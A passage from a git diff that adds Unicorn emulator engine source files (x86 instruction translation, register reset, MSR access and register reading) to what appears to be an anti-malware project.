i; + TCGContext *tcg_ctx = uc->tcg_ctx; + + tcg_ctx->cpu_env = tcg_global_reg_new_ptr(uc->tcg_ctx, TCG_AREG0, "env"); + tcg_ctx->cpu_cc_op = tcg_global_mem_new_i32(uc->tcg_ctx, TCG_AREG0, + offsetof(CPUX86State, cc_op), "cc_op"); + tcg_ctx->cpu_cc_dst = g_malloc0(sizeof(TCGv)); + *((TCGv *)tcg_ctx->cpu_cc_dst) = tcg_global_mem_new(uc->tcg_ctx, TCG_AREG0, + offsetof(CPUX86State, cc_dst), "cc_dst"); + + tcg_ctx->cpu_cc_src = g_malloc0(sizeof(TCGv)); + *((TCGv *)tcg_ctx->cpu_cc_src) = tcg_global_mem_new(uc->tcg_ctx, TCG_AREG0, + offsetof(CPUX86State, cc_src), "cc_src"); + + tcg_ctx->cpu_cc_src2 = g_malloc0(sizeof(TCGv)); + *((TCGv *)tcg_ctx->cpu_cc_src2) = tcg_global_mem_new(uc->tcg_ctx, TCG_AREG0, + offsetof(CPUX86State, cc_src2), "cc_src2"); + + for (i = 0; i < CPU_NB_REGS; ++i) { + tcg_ctx->cpu_regs[i] = g_malloc0(sizeof(TCGv)); + *((TCGv *)tcg_ctx->cpu_regs[i]) = tcg_global_mem_new(uc->tcg_ctx, TCG_AREG0, + offsetof(CPUX86State, regs[i]), + reg_names[i]); + } +} + +/* generate intermediate code in gen_opc_buf and gen_opparam_buf for + basic block 'tb'. If search_pc is TRUE, also generate PC + information for each intermediate instruction. */ +static inline void gen_intermediate_code_internal(uint8_t *gen_opc_cc_op, + X86CPU *cpu, + TranslationBlock *tb, + bool search_pc) +{ + CPUState *cs = CPU(cpu); + CPUX86State *env = &cpu->env; + TCGContext *tcg_ctx = env->uc->tcg_ctx; + DisasContext dc1, *dc = &dc1; + target_ulong pc_ptr; + uint16_t *gen_opc_end; + CPUBreakpoint *bp; + int j; + int lj = -1; + uint64_t flags; + target_ulong pc_start; + target_ulong cs_base; + int num_insns = 0; + int max_insns; + bool block_full = false; + + /* generate intermediate code */ + pc_start = tb->pc; + cs_base = tb->cs_base; + flags = tb->flags; + + dc->uc = env->uc; + dc->pe = (flags >> HF_PE_SHIFT) & 1; + dc->code32 = (flags >> HF_CS32_SHIFT) & 1; + dc->ss32 = (flags >> HF_SS32_SHIFT) & 1; + dc->addseg = (flags >> HF_ADDSEG_SHIFT) & 1; + dc->f_st = 0; + dc->vm86 = (flags >> VM_SHIFT) & 1; + dc->cpl = (flags >> HF_CPL_SHIFT) & 3; + dc->iopl = (flags >> IOPL_SHIFT) & 3; + dc->tf = (flags >> TF_SHIFT) & 1; + dc->singlestep_enabled = cs->singlestep_enabled; + dc->last_cc_op = dc->cc_op = CC_OP_DYNAMIC; + dc->cc_op_dirty = false; + dc->cs_base = cs_base; + dc->tb = tb; + dc->popl_esp_hack = 0; + /* select memory access functions */ + dc->mem_index = 0; + if (flags & HF_SOFTMMU_MASK) { + dc->mem_index = cpu_mmu_index(env); + } + dc->cpuid_features = env->features[FEAT_1_EDX]; + dc->cpuid_ext_features = env->features[FEAT_1_ECX]; + dc->cpuid_ext2_features = env->features[FEAT_8000_0001_EDX]; + dc->cpuid_ext3_features = env->features[FEAT_8000_0001_ECX]; + dc->cpuid_7_0_ebx_features = env->features[FEAT_7_0_EBX]; +#ifdef TARGET_X86_64 + dc->lma = (flags >> HF_LMA_SHIFT) & 1; + dc->code64 = (flags >> HF_CS64_SHIFT) & 1; +#endif + dc->flags = flags; + dc->jmp_opt = !(dc->tf || cs->singlestep_enabled || + (flags & HF_INHIBIT_IRQ_MASK) +#ifndef CONFIG_SOFTMMU + || (flags & HF_SOFTMMU_MASK) +#endif + ); +#if 0 + /* check addseg logic */ + if (!dc->addseg && (dc->vm86 || !dc->pe || !dc->code32)) + printf("ERROR addseg\n"); +#endif + + if (!env->uc->init_tcg) + tcg_ctx->cpu_T[0] = g_malloc0(sizeof(TCGv)); + *(TCGv *)tcg_ctx->cpu_T[0] = tcg_temp_new(tcg_ctx); + + if (!env->uc->init_tcg) + tcg_ctx->cpu_T[1] = g_malloc0(sizeof(TCGv)); + *(TCGv *)tcg_ctx->cpu_T[1] = tcg_temp_new(tcg_ctx); + + if (!env->uc->init_tcg) + tcg_ctx->cpu_A0 = g_malloc0(sizeof(TCGv)); + *((TCGv *)tcg_ctx->cpu_A0) = tcg_temp_new(tcg_ctx); + + if (!env->uc->init_tcg) + tcg_ctx->cpu_tmp0 = g_malloc0(sizeof(TCGv)); + *((TCGv *)tcg_ctx->cpu_tmp0) = tcg_temp_new(tcg_ctx); + + if (!env->uc->init_tcg) + tcg_ctx->cpu_tmp4 = g_malloc0(sizeof(TCGv)); + *((TCGv *)tcg_ctx->cpu_tmp4) = tcg_temp_new(tcg_ctx); + + tcg_ctx->cpu_tmp1_i64 = tcg_temp_new_i64(tcg_ctx); + tcg_ctx->cpu_tmp2_i32 = tcg_temp_new_i32(tcg_ctx); + tcg_ctx->cpu_tmp3_i32 = tcg_temp_new_i32(tcg_ctx); + tcg_ctx->cpu_ptr0 = tcg_temp_new_ptr(tcg_ctx); + tcg_ctx->cpu_ptr1 = tcg_temp_new_ptr(tcg_ctx); + + if (!env->uc->init_tcg) + tcg_ctx->cpu_cc_srcT = g_malloc0(sizeof(TCGv)); + *((TCGv *)tcg_ctx->cpu_cc_srcT) = tcg_temp_local_new(tcg_ctx); + + // done with initializing TCG variables + env->uc->init_tcg = true; + + pc_ptr = pc_start; + + // early check to see if the address of this block is the until address + if (tb->pc == env->uc->addr_end) { + // imitate the HLT instruction + gen_tb_start(tcg_ctx); + gen_jmp_im(dc, tb->pc - tb->cs_base); + gen_helper_hlt(tcg_ctx, tcg_ctx->cpu_env, tcg_const_i32(tcg_ctx, 0)); + dc->is_jmp = DISAS_TB_JUMP; + goto done_generating; + } + + gen_opc_end = tcg_ctx->gen_opc_buf + OPC_MAX_SIZE; + + dc->is_jmp = DISAS_NEXT; + max_insns = tb->cflags & CF_COUNT_MASK; + if (max_insns == 0) + max_insns = CF_COUNT_MASK; + + // Unicorn: trace this block on request + // Only hook this block if the previous block was not truncated due to space + if (!env->uc->block_full && HOOK_EXISTS_BOUNDED(env->uc, UC_HOOK_BLOCK, pc_start)) { + env->uc->block_addr = pc_start; + env->uc->size_arg = tcg_ctx->gen_opparam_buf - tcg_ctx->gen_opparam_ptr + 1; + gen_uc_tracecode(tcg_ctx, 0xf8f8f8f8, UC_HOOK_BLOCK_IDX, env->uc, pc_start); + } else { + env->uc->size_arg = -1; + } + + gen_tb_start(tcg_ctx); + for(;;) { + if (unlikely(!QTAILQ_EMPTY(&cs->breakpoints))) { + QTAILQ_FOREACH(bp, &cs->breakpoints, entry) { + if (bp->pc == pc_ptr && + !((bp->flags & BP_CPU) && (tb->flags & HF_RF_MASK))) { + gen_debug(dc, pc_ptr - dc->cs_base); + goto done_generating; + } + } + } + if (search_pc) { + j = tcg_ctx->gen_opc_ptr - tcg_ctx->gen_opc_buf; + if (lj < j) { + lj++; + while (lj < j) + tcg_ctx->gen_opc_instr_start[lj++] = 0; + } + tcg_ctx->gen_opc_pc[lj] = pc_ptr; + gen_opc_cc_op[lj] = dc->cc_op; + tcg_ctx->gen_opc_instr_start[lj] = 1; + // tcg_ctx->gen_opc_icount[lj] = num_insns; + } + //if (num_insns + 1 == max_insns && (tb->cflags & CF_LAST_IO)) + // gen_io_start(); + + // Unicorn: save current PC address to sync EIP + dc->prev_pc = pc_ptr; + pc_ptr = disas_insn(env, dc, pc_ptr); + num_insns++; + /* stop translation if indicated */ + if (dc->is_jmp) + break; + /* if single step mode, we generate only one instruction and + generate an exception */ + /* if irq were inhibited with HF_INHIBIT_IRQ_MASK, we clear + the flag and abort the translation to give the irqs a + change to be happen */ + if (dc->tf || dc->singlestep_enabled || + (flags & HF_INHIBIT_IRQ_MASK)) { + gen_jmp_im(dc, pc_ptr - dc->cs_base); + gen_eob(dc); + break; + } + /* if too long translation, stop generation too */ + if (tcg_ctx->gen_opc_ptr >= gen_opc_end || + (pc_ptr - pc_start) >= (TARGET_PAGE_SIZE - 32) || + num_insns >= max_insns) { + gen_jmp_im(dc, pc_ptr - dc->cs_base); + gen_eob(dc); + block_full = true; + break; + } + } + //if (tb->cflags & CF_LAST_IO) + // gen_io_end(); +done_generating: + gen_tb_end(tcg_ctx, tb, num_insns); + *tcg_ctx->gen_opc_ptr = INDEX_op_end; + /* we don't forget to fill the last values */ + if (search_pc) { + j = tcg_ctx->gen_opc_ptr - tcg_ctx->gen_opc_buf; + lj++; + while (lj <= j) + tcg_ctx->gen_opc_instr_start[lj++] = 0; + } + + if (!search_pc) { + tb->size = pc_ptr - pc_start; + } + + env->uc->block_full = block_full; +} + +void gen_intermediate_code(CPUX86State *env, TranslationBlock *tb) +{ + TCGContext *tcg_ctx = env->uc->tcg_ctx; + gen_intermediate_code_internal(tcg_ctx->gen_opc_cc_op, + x86_env_get_cpu(env), tb, false); +} + +void gen_intermediate_code_pc(CPUX86State *env, TranslationBlock *tb) +{ + TCGContext *tcg_ctx = env->uc->tcg_ctx; + gen_intermediate_code_internal(tcg_ctx->gen_opc_cc_op, + x86_env_get_cpu(env), tb, true); +} + +void restore_state_to_opc(CPUX86State *env, TranslationBlock *tb, int pc_pos) +{ + int cc_op; + TCGContext *tcg_ctx = env->uc->tcg_ctx; + env->eip = tcg_ctx->gen_opc_pc[pc_pos] - tb->cs_base; + cc_op = tcg_ctx->gen_opc_cc_op[pc_pos]; + if (cc_op != CC_OP_DYNAMIC) + env->cc_op = cc_op; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/unicorn.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/unicorn.c new file mode 100644 index 0000000..9ab5dd2 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/unicorn.c @@ -0,0 +1,1528 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh , 2015 */ + +#include "hw/boards.h" +#include "hw/i386/pc.h" +#include "sysemu/cpus.h" +#include "unicorn.h" +#include "cpu.h" +#include "tcg.h" +#include "unicorn_common.h" +#include /* needed for uc_x86_mmr */ +#include "uc_priv.h" + +#define FPST(n) (X86_CPU(uc, mycpu)->env.fpregs[(X86_CPU(uc, mycpu)->env.fpstt + (n)) & 7].d) + +#define X86_NON_CS_FLAGS (DESC_P_MASK | DESC_S_MASK | DESC_W_MASK | DESC_A_MASK) +static void load_seg_16_helper(CPUX86State *env, int seg, uint32_t selector) +{ + cpu_x86_load_seg_cache(env, seg, selector, (selector << 4), 0xffff, X86_NON_CS_FLAGS); +} + + +extern void helper_wrmsr(CPUX86State *env); +extern void helper_rdmsr(CPUX86State *env); + +const int X86_REGS_STORAGE_SIZE = offsetof(CPUX86State, tlb_table); + +static void x86_set_pc(struct uc_struct *uc, uint64_t address) +{ + CPUState* cpu = uc->cpu; + int16_t cs = (uint16_t)X86_CPU(uc, cpu)->env.segs[R_CS].selector; + if(uc->mode == UC_MODE_16) + ((CPUX86State *)uc->current_cpu->env_ptr)->eip = address - cs*16; + else + ((CPUX86State *)uc->current_cpu->env_ptr)->eip = address; +} + +void x86_release(void *ctx); + +void x86_release(void *ctx) +{ + int i; + TCGContext *s = (TCGContext *) ctx; + + cpu_breakpoint_remove_all(s->uc->cpu, BP_CPU); + + release_common(ctx); + + // arch specific + g_free(s->cpu_A0); + g_free(s->cpu_T[0]); + g_free(s->cpu_T[1]); + g_free(s->cpu_tmp0); + g_free(s->cpu_tmp4); + g_free(s->cpu_cc_srcT); + g_free(s->cpu_cc_dst); + g_free(s->cpu_cc_src); + g_free(s->cpu_cc_src2); + + for (i = 0; i < CPU_NB_REGS; ++i) { + g_free(s->cpu_regs[i]); + } + + g_free(s->tb_ctx.tbs); +} + +void x86_reg_reset(struct uc_struct *uc) +{ + CPUArchState *env = uc->cpu->env_ptr; + + env->features[FEAT_1_EDX] = CPUID_CX8 | CPUID_CMOV | CPUID_SSE2 | CPUID_FXSR | CPUID_SSE | CPUID_CLFLUSH; + env->features[FEAT_1_ECX] = CPUID_EXT_SSSE3 | CPUID_EXT_SSE41 | CPUID_EXT_SSE42 | CPUID_EXT_AES | CPUID_EXT_CX16; + env->features[FEAT_8000_0001_EDX] = CPUID_EXT2_3DNOW | CPUID_EXT2_RDTSCP; + env->features[FEAT_8000_0001_ECX] = CPUID_EXT3_LAHF_LM | CPUID_EXT3_ABM | CPUID_EXT3_SKINIT | CPUID_EXT3_CR8LEG; + env->features[FEAT_7_0_EBX] = CPUID_7_0_EBX_BMI1 | CPUID_7_0_EBX_BMI2 | CPUID_7_0_EBX_ADX | CPUID_7_0_EBX_SMAP; + + memset(env->regs, 0, sizeof(env->regs)); + memset(env->segs, 0, sizeof(env->segs)); + memset(env->cr, 0, sizeof(env->cr)); + + memset(&env->ldt, 0, sizeof(env->ldt)); + memset(&env->gdt, 0, sizeof(env->gdt)); + memset(&env->tr, 0, sizeof(env->tr)); + memset(&env->idt, 0, sizeof(env->idt)); + + env->eip = 0; + env->eflags = 0; + env->eflags0 = 0; + env->cc_op = CC_OP_EFLAGS; + + env->fpstt = 0; /* top of stack index */ + env->fpus = 0; + env->fpuc = 0; + memset(env->fptags, 0, sizeof(env->fptags)); /* 0 = valid, 1 = empty */ + + env->mxcsr = 0; + memset(env->xmm_regs, 0, sizeof(env->xmm_regs)); + memset(&env->xmm_t0, 0, sizeof(env->xmm_t0)); + memset(&env->mmx_t0, 0, sizeof(env->mmx_t0)); + + memset(env->ymmh_regs, 0, sizeof(env->ymmh_regs)); + + memset(env->opmask_regs, 0, sizeof(env->opmask_regs)); + memset(env->zmmh_regs, 0, sizeof(env->zmmh_regs)); + + /* sysenter registers */ + env->sysenter_cs = 0; + env->sysenter_esp = 0; + env->sysenter_eip = 0; + env->efer = 0; + env->star = 0; + + env->vm_hsave = 0; + + env->tsc = 0; + env->tsc_adjust = 0; + env->tsc_deadline = 0; + + env->mcg_status = 0; + env->msr_ia32_misc_enable = 0; + env->msr_ia32_feature_control = 0; + + env->msr_fixed_ctr_ctrl = 0; + env->msr_global_ctrl = 0; + env->msr_global_status = 0; + env->msr_global_ovf_ctrl = 0; + memset(env->msr_fixed_counters, 0, sizeof(env->msr_fixed_counters)); + memset(env->msr_gp_counters, 0, sizeof(env->msr_gp_counters)); + memset(env->msr_gp_evtsel, 0, sizeof(env->msr_gp_evtsel)); + +#ifdef TARGET_X86_64 + memset(env->hi16_zmm_regs, 0, sizeof(env->hi16_zmm_regs)); + env->lstar = 0; + env->cstar = 0; + env->fmask = 0; + env->kernelgsbase = 0; +#endif + + // TODO: reset other registers in CPUX86State qemu/target-i386/cpu.h + + // properly initialize internal setup for each mode + switch(uc->mode) { + default: + break; + case UC_MODE_16: + env->hflags = 0; + env->cr[0] = 0; + //undo the damage done by the memset of env->segs above + //for R_CS, not quite the same as x86_cpu_reset + cpu_x86_load_seg_cache(env, R_CS, 0, 0, 0xffff, + DESC_P_MASK | DESC_S_MASK | DESC_CS_MASK | + DESC_R_MASK | DESC_A_MASK); + //remainder yields same state as x86_cpu_reset + load_seg_16_helper(env, R_DS, 0); + load_seg_16_helper(env, R_ES, 0); + load_seg_16_helper(env, R_SS, 0); + load_seg_16_helper(env, R_FS, 0); + load_seg_16_helper(env, R_GS, 0); + + break; + case UC_MODE_32: + env->hflags |= HF_CS32_MASK | HF_SS32_MASK | HF_OSFXSR_MASK; + cpu_x86_update_cr0(env, CR0_PE_MASK); // protected mode + break; + case UC_MODE_64: + env->hflags |= HF_CS32_MASK | HF_SS32_MASK | HF_CS64_MASK | HF_LMA_MASK | HF_OSFXSR_MASK; + env->hflags &= ~(HF_ADDSEG_MASK); + env->efer |= MSR_EFER_LMA | MSR_EFER_LME; // extended mode activated + cpu_x86_update_cr0(env, CR0_PE_MASK); // protected mode + /* If we are operating in 64bit mode then add the Long Mode flag + * to the CPUID feature flag + */ + env->features[FEAT_8000_0001_EDX] |= CPUID_EXT2_LM; + break; + } +} + +static int x86_msr_read(struct uc_struct *uc, uc_x86_msr *msr) +{ + CPUX86State *env = (CPUX86State *)uc->cpu->env_ptr; + uint64_t ecx = env->regs[R_ECX]; + uint64_t eax = env->regs[R_EAX]; + uint64_t edx = env->regs[R_EDX]; + + env->regs[R_ECX] = msr->rid; + helper_rdmsr(env); + + msr->value = ((uint32_t)env->regs[R_EAX]) | + ((uint64_t)((uint32_t)env->regs[R_EDX]) << 32); + + env->regs[R_EAX] = eax; + env->regs[R_ECX] = ecx; + env->regs[R_EDX] = edx; + + /* The implementation doesn't throw exception or return an error if there is one, so + * we will return 0. */ + return 0; +} + +static int x86_msr_write(struct uc_struct *uc, uc_x86_msr *msr) +{ + CPUX86State *env = (CPUX86State *)uc->cpu->env_ptr; + uint64_t ecx = env->regs[R_ECX]; + uint64_t eax = env->regs[R_EAX]; + uint64_t edx = env->regs[R_EDX]; + + env->regs[R_ECX] = msr->rid; + env->regs[R_EAX] = (unsigned int)msr->value; + env->regs[R_EDX] = (unsigned int)(msr->value >> 32); + helper_wrmsr(env); + + env->regs[R_ECX] = ecx; + env->regs[R_EAX] = eax; + env->regs[R_EDX] = edx; + + /* The implementation doesn't throw exception or return an error if there is one, so + * we will return 0. */ + return 0; +} + +int x86_reg_read(struct uc_struct *uc, unsigned int *regs, void **vals, int count) +{ + CPUState *mycpu = uc->cpu; + int i; + + for (i = 0; i < count; i++) { + unsigned int regid = regs[i]; + void *value = vals[i]; + switch(regid) { + default: + break; + case UC_X86_REG_FP0: + case UC_X86_REG_FP1: + case UC_X86_REG_FP2: + case UC_X86_REG_FP3: + case UC_X86_REG_FP4: + case UC_X86_REG_FP5: + case UC_X86_REG_FP6: + case UC_X86_REG_FP7: + { + floatx80 reg = X86_CPU(uc, mycpu)->env.fpregs[regid - UC_X86_REG_FP0].d; + cpu_get_fp80(value, (uint16_t*)((char*)value+sizeof(uint64_t)), reg); + } + continue; + case UC_X86_REG_FPSW: + { + uint16_t fpus = X86_CPU(uc, mycpu)->env.fpus; + fpus = fpus & ~0x3800; + fpus |= ( X86_CPU(uc, mycpu)->env.fpstt & 0x7 ) << 11; + *(uint16_t*) value = fpus; + } + continue; + case UC_X86_REG_FPCW: + *(uint16_t*) value = X86_CPU(uc, mycpu)->env.fpuc; + continue; + case UC_X86_REG_FPTAG: + { + #define EXPD(fp) (fp.l.upper & 0x7fff) + #define MANTD(fp) (fp.l.lower) + #define MAXEXPD 0x7fff + int fptag, exp, i; + uint64_t mant; + CPU_LDoubleU tmp; + fptag = 0; + for (i = 7; i >= 0; i--) { + fptag <<= 2; + if (X86_CPU(uc, mycpu)->env.fptags[i]) { + fptag |= 3; + } else { + tmp.d = X86_CPU(uc, mycpu)->env.fpregs[i].d; + exp = EXPD(tmp); + mant = MANTD(tmp); + if (exp == 0 && mant == 0) { + /* zero */ + fptag |= 1; + } else if (exp == 0 || exp == MAXEXPD + || (mant & (1LL << 63)) == 0) { + /* NaNs, infinity, denormal */ + fptag |= 2; + } + } + } + *(uint16_t*) value = fptag; + } + continue; + case UC_X86_REG_XMM0: + case UC_X86_REG_XMM1: + case UC_X86_REG_XMM2: + case UC_X86_REG_XMM3: + case UC_X86_REG_XMM4: + case UC_X86_REG_XMM5: + case UC_X86_REG_XMM6: + case UC_X86_REG_XMM7: + { + float64 *dst = (float64*)value; + XMMReg *reg = &X86_CPU(uc, mycpu)->env.xmm_regs[regid - UC_X86_REG_XMM0]; + dst[0] = reg->_d[0]; + dst[1] = reg->_d[1]; + continue; + } + case UC_X86_REG_ST0: + case UC_X86_REG_ST1: + case UC_X86_REG_ST2: + case UC_X86_REG_ST3: + case UC_X86_REG_ST4: + case UC_X86_REG_ST5: + case UC_X86_REG_ST6: + case UC_X86_REG_ST7: + { + // value must be big enough to keep 80 bits (10 bytes) + memcpy(value, &FPST(regid - UC_X86_REG_ST0), 10); + continue; + } + case UC_X86_REG_YMM0: + case UC_X86_REG_YMM1: + case UC_X86_REG_YMM2: + case UC_X86_REG_YMM3: + case UC_X86_REG_YMM4: + case UC_X86_REG_YMM5: + case UC_X86_REG_YMM6: + case UC_X86_REG_YMM7: + case UC_X86_REG_YMM8: + case UC_X86_REG_YMM9: + case UC_X86_REG_YMM10: + case UC_X86_REG_YMM11: + case UC_X86_REG_YMM12: + case UC_X86_REG_YMM13: + case UC_X86_REG_YMM14: + case UC_X86_REG_YMM15: + { + float64 *dst = (float64*)value; + XMMReg *lo_reg = &X86_CPU(uc, mycpu)->env.xmm_regs[regid - UC_X86_REG_YMM0]; + XMMReg *hi_reg = &X86_CPU(uc, mycpu)->env.ymmh_regs[regid - UC_X86_REG_YMM0]; + dst[0] = lo_reg->_d[0]; + dst[1] = lo_reg->_d[1]; + dst[2] = hi_reg->_d[0]; + dst[3] = hi_reg->_d[1]; + continue; + } + } + + switch(uc->mode) { + default: + break; + case UC_MODE_16: + switch(regid) { + default: break; + case UC_X86_REG_ES: + *(int16_t *)value = X86_CPU(uc, mycpu)->env.segs[R_ES].selector; + continue; + case UC_X86_REG_SS: + *(int16_t *)value = X86_CPU(uc, mycpu)->env.segs[R_SS].selector; + continue; + case UC_X86_REG_DS: + *(int16_t *)value = X86_CPU(uc, mycpu)->env.segs[R_DS].selector; + continue; + case UC_X86_REG_FS: + *(int16_t *)value = X86_CPU(uc, mycpu)->env.segs[R_FS].selector; + continue; + case UC_X86_REG_GS: + *(int16_t *)value = X86_CPU(uc, mycpu)->env.segs[R_GS].selector; + continue; + case UC_X86_REG_FS_BASE: + *(uint32_t *)value = (uint32_t)X86_CPU(uc, mycpu)->env.segs[R_FS].base; + continue; + } + // fall-thru + case UC_MODE_32: + switch(regid) { + default: + break; + case UC_X86_REG_CR0: + case UC_X86_REG_CR1: + case UC_X86_REG_CR2: + case UC_X86_REG_CR3: + case UC_X86_REG_CR4: + *(int32_t *)value = X86_CPU(uc, mycpu)->env.cr[regid - UC_X86_REG_CR0]; + break; + case UC_X86_REG_DR0: + case UC_X86_REG_DR1: + case UC_X86_REG_DR2: + case UC_X86_REG_DR3: + case UC_X86_REG_DR4: + case UC_X86_REG_DR5: + case UC_X86_REG_DR6: + case UC_X86_REG_DR7: + *(int32_t *)value = X86_CPU(uc, mycpu)->env.dr[regid - UC_X86_REG_DR0]; + break; + case UC_X86_REG_EFLAGS: + *(int32_t *)value = cpu_compute_eflags(&X86_CPU(uc, mycpu)->env); + break; + case UC_X86_REG_EAX: + *(int32_t *)value = X86_CPU(uc, mycpu)->env.regs[R_EAX]; + break; + case UC_X86_REG_AX: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.regs[R_EAX]); + break; + case UC_X86_REG_AH: + *(int8_t *)value = READ_BYTE_H(X86_CPU(uc, mycpu)->env.regs[R_EAX]); + break; + case UC_X86_REG_AL: + *(int8_t *)value = READ_BYTE_L(X86_CPU(uc, mycpu)->env.regs[R_EAX]); + break; + case UC_X86_REG_EBX: + *(int32_t *)value = X86_CPU(uc, mycpu)->env.regs[R_EBX]; + break; + case UC_X86_REG_BX: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.regs[R_EBX]); + break; + case UC_X86_REG_BH: + *(int8_t *)value = READ_BYTE_H(X86_CPU(uc, mycpu)->env.regs[R_EBX]); + break; + case UC_X86_REG_BL: + *(int8_t *)value = READ_BYTE_L(X86_CPU(uc, mycpu)->env.regs[R_EBX]); + break; + case UC_X86_REG_ECX: + *(int32_t *)value = X86_CPU(uc, mycpu)->env.regs[R_ECX]; + break; + case UC_X86_REG_CX: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.regs[R_ECX]); + break; + case UC_X86_REG_CH: + *(int8_t *)value = READ_BYTE_H(X86_CPU(uc, mycpu)->env.regs[R_ECX]); + break; + case UC_X86_REG_CL: + *(int8_t *)value = READ_BYTE_L(X86_CPU(uc, mycpu)->env.regs[R_ECX]); + break; + case UC_X86_REG_EDX: + *(int32_t *)value = X86_CPU(uc, mycpu)->env.regs[R_EDX]; + break; + case UC_X86_REG_DX: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.regs[R_EDX]); + break; + case UC_X86_REG_DH: + *(int8_t *)value = READ_BYTE_H(X86_CPU(uc, mycpu)->env.regs[R_EDX]); + break; + case UC_X86_REG_DL: + *(int8_t *)value = READ_BYTE_L(X86_CPU(uc, mycpu)->env.regs[R_EDX]); + break; + case UC_X86_REG_ESP: + *(int32_t *)value = X86_CPU(uc, mycpu)->env.regs[R_ESP]; + break; + case UC_X86_REG_SP: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.regs[R_ESP]); + break; + case UC_X86_REG_EBP: + *(int32_t *)value = X86_CPU(uc, mycpu)->env.regs[R_EBP]; + break; + case UC_X86_REG_BP: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.regs[R_EBP]); + break; + case UC_X86_REG_ESI: + *(int32_t *)value = X86_CPU(uc, mycpu)->env.regs[R_ESI]; + break; + case UC_X86_REG_SI: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.regs[R_ESI]); + break; + case UC_X86_REG_EDI: + *(int32_t *)value = X86_CPU(uc, mycpu)->env.regs[R_EDI]; + break; + case UC_X86_REG_DI: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.regs[R_EDI]); + break; + case UC_X86_REG_EIP: + *(int32_t *)value = X86_CPU(uc, mycpu)->env.eip; + break; + case UC_X86_REG_IP: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.eip); + break; + case UC_X86_REG_CS: + *(int16_t *)value = (uint16_t)X86_CPU(uc, mycpu)->env.segs[R_CS].selector; + break; + case UC_X86_REG_DS: + *(int16_t *)value = (uint16_t)X86_CPU(uc, mycpu)->env.segs[R_DS].selector; + break; + case UC_X86_REG_SS: + *(int16_t *)value = (uint16_t)X86_CPU(uc, mycpu)->env.segs[R_SS].selector; + break; + case UC_X86_REG_ES: + *(int16_t *)value = (uint16_t)X86_CPU(uc, mycpu)->env.segs[R_ES].selector; + break; + case UC_X86_REG_FS: + *(int16_t *)value = (uint16_t)X86_CPU(uc, mycpu)->env.segs[R_FS].selector; + break; + case UC_X86_REG_GS: + *(int16_t *)value = (uint16_t)X86_CPU(uc, mycpu)->env.segs[R_GS].selector; + break; + case UC_X86_REG_IDTR: + ((uc_x86_mmr *)value)->limit = (uint16_t)X86_CPU(uc, mycpu)->env.idt.limit; + ((uc_x86_mmr *)value)->base = (uint32_t)X86_CPU(uc, mycpu)->env.idt.base; + break; + case UC_X86_REG_GDTR: + ((uc_x86_mmr *)value)->limit = (uint16_t)X86_CPU(uc, mycpu)->env.gdt.limit; + ((uc_x86_mmr *)value)->base = (uint32_t)X86_CPU(uc, mycpu)->env.gdt.base; + break; + case UC_X86_REG_LDTR: + ((uc_x86_mmr *)value)->limit = X86_CPU(uc, mycpu)->env.ldt.limit; + ((uc_x86_mmr *)value)->base = (uint32_t)X86_CPU(uc, mycpu)->env.ldt.base; + ((uc_x86_mmr *)value)->selector = (uint16_t)X86_CPU(uc, mycpu)->env.ldt.selector; + ((uc_x86_mmr *)value)->flags = X86_CPU(uc, mycpu)->env.ldt.flags; + break; + case UC_X86_REG_TR: + ((uc_x86_mmr *)value)->limit = X86_CPU(uc, mycpu)->env.tr.limit; + ((uc_x86_mmr *)value)->base = (uint32_t)X86_CPU(uc, mycpu)->env.tr.base; + ((uc_x86_mmr *)value)->selector = (uint16_t)X86_CPU(uc, mycpu)->env.tr.selector; + ((uc_x86_mmr *)value)->flags = X86_CPU(uc, mycpu)->env.tr.flags; + break; + case UC_X86_REG_MSR: + x86_msr_read(uc, (uc_x86_msr *)value); + break; + case UC_X86_REG_MXCSR: + *(uint32_t *)value = X86_CPU(uc, mycpu)->env.mxcsr; + break; + case UC_X86_REG_FS_BASE: + *(uint32_t *)value = (uint32_t)X86_CPU(uc, mycpu)->env.segs[R_FS].base; + break; + } + break; + +#ifdef TARGET_X86_64 + case UC_MODE_64: + switch(regid) { + default: + break; + case UC_X86_REG_CR0: + case UC_X86_REG_CR1: + case UC_X86_REG_CR2: + case UC_X86_REG_CR3: + case UC_X86_REG_CR4: + *(int64_t *)value = X86_CPU(uc, mycpu)->env.cr[regid - UC_X86_REG_CR0]; + break; + case UC_X86_REG_DR0: + case UC_X86_REG_DR1: + case UC_X86_REG_DR2: + case UC_X86_REG_DR3: + case UC_X86_REG_DR4: + case UC_X86_REG_DR5: + case UC_X86_REG_DR6: + case UC_X86_REG_DR7: + *(int64_t *)value = X86_CPU(uc, mycpu)->env.dr[regid - UC_X86_REG_DR0]; + break; + case UC_X86_REG_EFLAGS: + *(int64_t *)value = cpu_compute_eflags(&X86_CPU(uc, mycpu)->env); + break; + case UC_X86_REG_RAX: + *(uint64_t *)value = X86_CPU(uc, mycpu)->env.regs[R_EAX]; + break; + case UC_X86_REG_EAX: + *(int32_t *)value = READ_DWORD(X86_CPU(uc, mycpu)->env.regs[R_EAX]); + break; + case UC_X86_REG_AX: + *(int16_t *)value = READ_WORD(X86_CPU(uc, mycpu)->env.regs[R_EAX]); + break; + case UC_X86_REG_AH: + *(int8_t *)value = READ_BYTE_H(X86_CPU(uc, mycpu)->env.regs[R_EAX]); + break; + case UC_X86_REG_AL: + *(int8_t *)value = READ_BYTE_L(X86_CPU(uc, mycpu)->env.regs[R_EAX]); + break; + case UC_X86_REG_RBX: + *(uint64_t *)value = X86_CPU(uc, mycpu)->env.regs[R_EBX]; + break; + case UC_X86_REG_EBX: + *(int32_t *)value = READ_DWORD(X86_CPU(uc, mycpu)->env.regs[R_EBX]); + break; + case UC_X86_REG_BX: + *(int16_t *)value = READ_WORD(X86_CPU(uc, 